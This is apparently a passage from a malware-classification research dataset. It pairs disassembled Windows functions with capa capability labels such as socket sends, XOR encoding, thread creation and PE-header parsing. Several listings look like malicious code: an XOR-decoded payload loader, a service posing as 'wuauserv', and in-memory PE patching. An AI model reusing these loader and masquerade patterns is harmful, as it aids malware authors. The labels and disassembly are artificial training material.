joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400cd100
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x38
cmp byte [rcx + 0xf1e], 0
movsxd r10, r9d
je 0x1400cd224
cmp r8d, 0xff
jne 0x1400cd161
lea eax, [r10 - 0xec]
cmp eax, 0x13
ja 0x1400cd14b
lea r8, [0x140000000]
mov r9, qword [r8 + r10*8 + 0x10ab80]
mov r8, rdx
lea rdx, str._s_IAC__s_n
add rsp, 0x38
jmp fcn.1400a9760
mov r8, rdx
mov r9d, r10d
lea rdx, str._s_IAC__d_n
add rsp, 0x38
jmp fcn.1400a9760
cmp r8d, 0xfb
jne 0x1400cd173
lea r9, str.WILL
jmp 0x1400cd1b1
cmp r8d, 0xfc
jne 0x1400cd185
lea r9, str.WONT
jmp 0x1400cd1b1
cmp r8d, 0xfd
jne 0x1400cd197
lea r9, [0x14010b5a4]
jmp 0x1400cd1b1
xor r9d, r9d
lea rax, str.DONT
cmp r8d, 0xfe
cmove r9, rax
test r9, r9
je 0x1400cd20d
cmp r10d, 0x27
jg 0x1400cd1e4
lea r8, [0x140000000]
mov r8, qword [r8 + r10*8 + 0x10b1a0]
test r8, r8
jne 0x1400cd1f4
mov r8, rdx
mov dword [rsp + 0x20], r10d
lea rdx, str._s__s__d_n
call fcn.1400a9760
add rsp, 0x38
ret
cmp r10d, 0xff
jne 0x1400cd1cb
lea r8, str.EXOPL
mov qword [rsp + 0x20], r8
mov r8, rdx
lea rdx, str._s__s__s_n
call fcn.1400a9760
add rsp, 0x38
ret
mov r9d, r8d
mov dword [rsp + 0x20], r10d
mov r8, rdx
lea rdx, str._s__d__d_n
call fcn.1400a9760
add rsp, 0x38
ret

Function at 0x1400cd570
Capabilities:
Send data
Send data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rbp, qword [rcx]
mov edi, r8d
mov esi, edx
mov byte [rax + 0x10], 0xff
xor r9d, r9d
mov byte [rax + 0x11], sil
mov rbx, rcx
mov byte [rax + 0x12], dil
mov rcx, qword [rcx + 0x4c0]
lea rdx, [rax + 0x10]
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x1400cd5cf
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.1400a95e0
mov rcx, qword [rbx]
lea rdx, str.SENT
mov r9d, edi
mov r8d, esi
call fcn.1400cd100
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x1400cd780
Capabilities:
Send data
Send data on socket

Disassembly:
cmp edx, 0x1f
jne 0x1400cd928
push rbp
push rdi
push r14
sub rsp, 0x20
mov rbp, qword [rcx]
mov r14, rcx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], r15
mov rdi, qword [rbp + 0x1e0]
lea rsi, [rdi + 0x1cb8]
lea rbx, [rdi + 0x1eb8]
mov qword [rbx], rsi
cmp rsi, rbx
jae 0x1400cd7e5
lea rax, [rsi + 1]
mov byte [rsi], 0xff
mov qword [rbx], rax
cmp rax, rbx
jae 0x1400cd7e5
mov byte [rax], 0xfa
inc qword [rbx]
mov rax, qword [rbx]
cmp rax, rbx
jae 0x1400cd7e5
mov byte [rax], dl
inc qword [rbx]
movzx ecx, word [rdi + 0x1ca8]
call qword [sym.imp.WS2_32.dll_htons]
movzx ecx, word [rdi + 0x1caa]
movzx r15d, ax
mov word [rsp + 0x48], ax
call qword [sym.imp.WS2_32.dll_htons]
mov r9, qword [rbx]
movzx ecx, ax
cmp r9, rbx
jae 0x1400cd81c
mov byte [r9], r15b
inc qword [rbx]
mov r9, qword [rbx]
mov r15, qword [rsp + 0x58]
cmp r9, rbx
jae 0x1400cd872
movzx eax, byte [rsp + 0x49]
mov byte [r9], al
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400cd872
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400cd872
shr cx, 8
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400cd872
mov byte [r9], 0xff
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400cd872
mov byte [r9], 0xf0
mov r9, qword [rbx]
inc r9
mov qword [rdi + 0x1ec0], r9
lea r8, [rdi + 0x1cba]
sub r9, rsi
mov qword [rbx], rsi
sub r9, 2
mov edx, 0x3e
mov rcx, rbp
call fcn.1400cd230
mov rcx, qword [r14 + 0x4c0]
xor r9d, r9d
mov rdx, rsi
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
test eax, eax
jns 0x1400cd8d4
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.1400a95e0
lea rdx, [rdi + 0x1cbb]
mov r8d, 4
mov rcx, r14
call fcn.1400cd600
mov rcx, qword [r14 + 0x4c0]
lea rdx, [rdi + 0x1cbf]
xor r9d, r9d
lea r8d, [r9 + 2]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x1400cd920
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.1400a95e0
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x1400cf090
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0xd0
mov rax, qword [0x14012ca18]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbx, qword [rcx + 0xa00]
lea rax, [rsp + 0x30]
mov rdi, qword [rcx]
mov r14, rcx
mov dword [rsp + 0x30], 0x80
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov r8d, dword [rbx + 0x15c]
mov rdx, qword [rbx + 0x168]
add r8d, 4
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [rbx + 0x150], 0
mov dword [rbx + 0x154], eax
jne 0x1400cf125
movsxd r8, dword [rsp + 0x30]
lea rcx, [rbx + 0xd0]
lea rdx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x30]
mov dword [rbx + 0x150], eax
mov r8d, dword [rbx + 0x154]
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0x100], rsi
cmp r8d, 4
jge 0x1400cf186
lea rdx, str.Received_too_short_packet
mov rcx, rdi
call fcn.1400a95e0
mov dword [rbx + 0xc], 7
xor eax, eax
mov rsi, qword [rsp + 0x100]
mov rbp, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.1400e2570
add rsp, 0xd0
pop r14
pop rdi
pop rbx
ret
mov rdx, qword [rbx + 0x168]
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl eax, 8
or ecx, eax
mov dword [rbx + 0xc], ecx
sub ecx, 3
je 0x1400cf241
sub ecx, 1
je 0x1400cf2b4
sub ecx, 1
je 0x1400cf1f0
cmp ecx, 1
je 0x1400cf1d3
lea r8, str.Internal_error:_Unexpected_packet
mov rcx, rdi
lea rdx, [0x140109020]
call fcn.1400a95e0
jmp 0x1400cf2b4
add r8d, 0xfffffffe
add rdx, 2
mov rcx, rbx
call fcn.1400cedc0
test eax, eax
je 0x1400cf2b4
jmp 0x1400cf15a
movzx ecx, byte [rdx + 2]
lea eax, [r8 - 4]
movsxd rbp, eax
lea rsi, [rdx + 4]
movzx eax, byte [rdx + 3]
mov r8, rbp
shl ecx, 8
xor edx, edx
or ecx, eax
mov dword [rbx + 8], ecx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x1400cf2b4
sub rax, rsi
cmp rax, rbp
jae 0x1400cf2b4
mov r8, rsi
lea rdx, str.TFTP_error:__s_n
mov rcx, rdi
call fcn.1400a9760
jmp 0x1400cf2b4
cmp r8d, 4
jle 0x1400cf2b4
movzx eax, byte [rdx + 3]
movzx ecx, byte [rdx + 2]
shl ecx, 8
or ecx, eax
movzx eax, word [rbx + 0x48]
inc eax
movzx eax, ax
cmp eax, ecx
jne 0x1400cf2b4
lea eax, [r8 - 4]
mov rcx, r14
lea r8, [rdx + 4]
movsxd r9, eax
mov edx, 1
call fcn.1400a9500
mov esi, eax
test eax, eax
je 0x1400cf293
mov edx, 5
mov rcx, rbx
call fcn.1400cfd80
mov eax, esi
jmp 0x1400cf15a
mov eax, dword [rbx + 0x154]
mov rcx, rdi
sub eax, 4
cdqe
add qword [rdi + 0xf8], rax
mov rdx, qword [rdi + 0xf8]
call fcn.1400b7fe0
mov rcx, r14
call fcn.1400b82c0
test eax, eax
je 0x1400cf158
mov edx, 5
mov rcx, rbx
call fcn.1400cfd80
mov eax, Ordinal_46
jmp 0x1400cf15a
Function at 0x1400e2050
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x1400e2092
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x1400e20d9
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x1400e2132
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x1400e20f0
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x1400e2173
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x14010e71b]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x14010e71c]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x1400e2140
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x1400e33f0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400e343a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400e343a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400e343a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400e343a
cmp dword [rcx + 0x84], 0xe
jbe 0x1400e343a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400e343c
xor al, al
add rsp, 0x28
ret
Function at 0x140007204
Capabilities:
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
call fcn.140007194
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateThread]
lea rcx, [0x140021210]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140020640]
jmp 0x140007240
cmp qword [rbx + 0x18], rdi
je 0x140007247
mov rbx, qword [rbx]
test rbx, rbx
jne 0x140007237
jmp 0x140007261
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbx + 0x10]
lea rcx, [0x140020640]
call fcn.1400123b8
lea rcx, [0x140021210]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
invalid
invalid
invalid
invalid
invalid
invalid
invalid
rcl dword [rbx + rbp - 0x3312], 5
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
retf

Function at 0x14000727c
Capabilities:
Create thread

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x20], rsi
push rdi
sub rsp, 0x30
lea rax, [r11 + 0x18]
mov r9, rdx
mov r8, rcx
mov qword [r11 - 0x10], rax
xor edi, edi
mov edx, 0x1000
xor ecx, ecx
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbp, rax
test rax, rax
je 0x140007342
lea rcx, [0x140021210]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140020640]
jmp 0x140007306
lea rsi, [rbx + 0x10]
xor edx, edx
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x140007303
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rbx]
lea rcx, [0x140020640]
mov rdx, rsi
call fcn.1400123b8
jmp 0x140007306
mov rbx, qword [rbx]
test rbx, rbx
jne 0x1400072d3
mov rdx, qword [0x14001f118]
lea rcx, [0x140020640]
mov rdi, rdx
inc rdx
mov qword [0x14001f118], rdx
lea edx, [rbx + 0x20]
call fcn.140012400
lea rcx, [0x140021210]
mov qword [rax], rbp
mov qword [rax + 8], rdi
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
mov rax, rdi
add rsp, 0x30
pop rdi
ret
Function at 0x180001070
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor r8d, r8d
lea rcx, [0x1800239f0]
mov edx, 0x46200
mov al, byte [r8 + rcx]
xor al, byte [0x180069bf1]
xor al, byte [0x180069bf2]
xor al, byte [0x180069bf3]
xor al, byte [0x180069bf0]
mov byte [r8 + rcx], al
inc r8
cmp r8, rdx
jb 0x180001085
mov rax, rdx
xor byte [rcx], 0x34
inc rcx
sub rax, 1
jne 0x1800010b0
call fcn.180001ca4
mov rbx, rax
test rax, rax
je 0x1800010e2
mov rcx, rax
call fcn.180001fc8
mov rcx, qword [0x18006b420]
call rax
mov rcx, rbx
call fcn.1800020b0
add rsp, 0x30
pop rbx
ret
Function at 0x180001194
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
push rsi
sub rsp, 0x30
and dword [0x18006b400], 0
lea rdx, [sym.service.dll_ServiceHandler]
and dword [0x18006b3fc], 0
lea rcx, str.wuauserv
and dword [0x18006b404], 0
mov esi, 2
and dword [0x18006b408], 0
mov dword [0x18006b3f4], esi
mov dword [0x18006b3f0], 0x20
mov dword [0x18006b3f8], 5
call qword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerW]
mov qword [0x18006b410], rax
test rax, rax
je 0x18000139c
and dword [0x18006b404], 0
lea rdx, [0x18006b3f0]
and dword [0x18006b408], 0
mov rcx, rax
mov dword [0x18006b3f4], 4
call qword [sym.imp.ADVAPI32.dll_SetServiceStatus]
test eax, eax
je 0x18000139c
xor ecx, ecx
call fcn.1800066f0
mov rcx, rax
call fcn.18000675c
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
mov eax, 0xaaaaaaab
mul ebx
shr edx, 2
lea ecx, [rdx + rdx*2]
add ecx, ecx
sub ebx, ecx
add ebx, esi
call fcn.180006730
cdq
xor r9d, r9d
idiv ebx
xor r8d, r8d
xor ecx, ecx
lea ebx, [rdx + 1]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [0x18006b418], rax
test rax, rax
je 0x180001296
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x18000139c
mov rax, qword [0x18006b418]
movsxd rbx, ebx
test rbx, rbx
je 0x1800012ca
and qword [rsp + 0x28], 0
lea r8, [0x1800010e8]
and dword [rsp + 0x20], 0
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
sub rbx, 1
jne 0x18000129e
mov rax, qword [0x18006b418]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEvent]
jmp 0x1800012e0
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x18006b3f4], 3
jne 0x1800012d5
mov rcx, qword [0x18006b410]
lea rdx, [0x18006b3f0]
mov dword [0x18006b3f4], 1
mov dword [0x18006b408], 0x3e8
call qword [sym.imp.ADVAPI32.dll_SetServiceStatus]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 6
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 3
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rsi
ret
Function at 0x180001598
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
and ebx, 7
add ebx, 2
call fcn.180006730
cdq
xor r9d, r9d
idiv ebx
xor r8d, r8d
xor ecx, ecx
lea ebx, [rdx + 1]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [0x18006b418], rax
test rax, rax
je 0x1800015e7
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x180001631
mov rax, qword [0x18006b418]
movsxd rbx, ebx
test rbx, rbx
je 0x18000161b
and qword [rsp + 0x28], 0
lea r8, [0x180001118]
and dword [rsp + 0x20], 0
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
sub rbx, 1
jne 0x1800015ef
mov rax, qword [0x18006b418]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180001624
add rsp, 0x30
pop rbx
ret
Function at 0x402c50
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00408940]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x00408968]
test rbx, rbx
je 0x402ca4
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rdi
mov rbp, rax
call rsi
test eax, eax
jne 0x402c9b
test rbp, rbp
je 0x402c9b
mov rax, qword [rbx + 8]
mov rcx, rbp
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402c80
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rcx, [0x00408940]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp rax

Function at 0x140001aac
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001af6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001af6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001af6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001af6
cmp dword [rcx + 0x84], 0xe
jbe 0x140001af6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001af8
xor al, al
add rsp, 0x28
ret
Function at 0x180003f20
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x260
mov rax, qword [0x18001f018]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov rdi, rcx
cmp edx, 1
jne 0x180004080
mov r8d, 0x104
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
js 0x18000407c
lea rcx, [rsp + 0x40]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
test rax, rax
je 0x180003f93
mov r8d, 6
lea rdx, str.nslook
mov rcx, rax
call fcn.18000a610
test eax, eax
je 0x18000407c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
test rax, rax
je 0x18000402e
movzx ecx, word [rbx + 0x40]
mov eax, 0x7268
sub cx, ax
cmp cx, 0xf
ja 0x180003fc7
mov eax, 0x8801
bt eax, ecx
jb 0x18000407c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 4
mov r8d, 0x200
mov rcx, rax
mov rdx, rbx
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x18000402e
mov eax, 0x7277
mov word [rbx + 0x40], ax
lea rax, [0x180004750]
mov qword [rbx + 0x42], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, dword [rsp + 0x30]
mov r8d, 0x200
mov rcx, rax
mov rdx, rbx
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
cmp byte [0x180020cb9], 0
jne 0x180004089
cmp qword [0x180020c90], 0
mov byte [0x180020cb9], 1
mov qword [0x180020cf0], rdi
jne 0x180004075
xor eax, eax
lea r8, [0x180001ed0]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x180020c90], rax
call fcn.180001f20
jmp 0x180004089
xor eax, eax
jmp 0x18000408e
test edx, edx
jne 0x180004089
call fcn.1800044f0
mov eax, 1
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.1800083e0
mov rbx, qword [rsp + 0x270]
add rsp, 0x260
pop rdi
ret
Function at 0x414b40
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x414ccb
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00432060
xorps xmm15, xmm15
mov r14, qword [0x0069a950]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
jne 0x414ba5
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
jmp 0x414bb4
add rsp, 0x48
pop rbp
ret
sub rcx, rbx
add rax, rbx
mov rbx, rcx
test rbx, rbx
jbe 0x414bd3
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rax
mov rcx, rbx
jmp 0x414be3
cmp rbx, 0x1000
jae 0x414bab
jmp 0x414c4d
add rsp, 0x48
pop rbp
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
cmp rbx, 0x1000
jae 0x414bf5
xor edx, edx
jmp 0x414c44
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00432060
xorps xmm15, xmm15
mov r14, qword [0x0069a950]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
sete al
mov rcx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
mov edx, eax
mov rax, qword [rsp + 0x40]
test dl, dl
jne 0x414bd9
jmp 0x414bc8
call fcn.00461ec0
xorps xmm15, xmm15
mov r14, qword [0x0069a950]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov qword [rsp + 0x30], rax
call fcn.00436460
lea rax, [0x004bd142]
mov ebx, 0x18
nop dword [rax]
call fcn.00436ce0
mov rax, qword [rsp + 0x38]
call fcn.00436a20
lea rax, [0x004bd675]
mov ebx, 0x19
nop dword [rax + rax]
call fcn.00436ce0
mov rax, qword [rsp + 0x30]
call fcn.00436a20
call fcn.004366a0
call fcn.004364c0
lea rax, [0x004bfa2b]
mov ebx, 0x21
call fcn.00434ac0
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0045e800
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.00414b40
Function at 0x414d00
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x414f26
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
call fcn.004320e0
xorps xmm15, xmm15
mov r14, qword [0x0069a950]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x60]
mov rcx, rax
cmp qword [rsp + 0x28], rax
je 0x414d73
mov rbx, qword [rsp + 0x68]
mov rax, rbx
jmp 0x414d82
add rsp, 0x50
pop rbp
ret
sub rdx, rbx
add rcx, rbx
mov rbx, rdx
test rbx, rbx
jbe 0x414da5
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rcx
mov rdx, rbx
jmp 0x414db5
cmp rbx, 0x1000
jae 0x414d79
nop
jmp 0x414e38
add rsp, 0x50
pop rbp
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
nop word [rax + rax]
cmp rbx, 0x1000
jae 0x414dcd
xor esi, esi
jmp 0x414e2a
mov rax, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
call fcn.004320e0
xorps xmm15, xmm15
mov r14, qword [0x0069a950]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x28], 0
sete al
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x38]
mov esi, eax
mov rax, qword [rsp + 0x68]
test sil, sil
jne 0x414dab
jmp 0x414d96
call fcn.00461ec0
xorps xmm15, xmm15
mov r14, qword [0x0069a950]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov dword [rsp + 0x34], eax
cmp eax, 8
jne 0x414ec0
nop dword [rax + rax]
call fcn.00436460
lea rax, [0x004bd68e]
mov ebx, 0x19
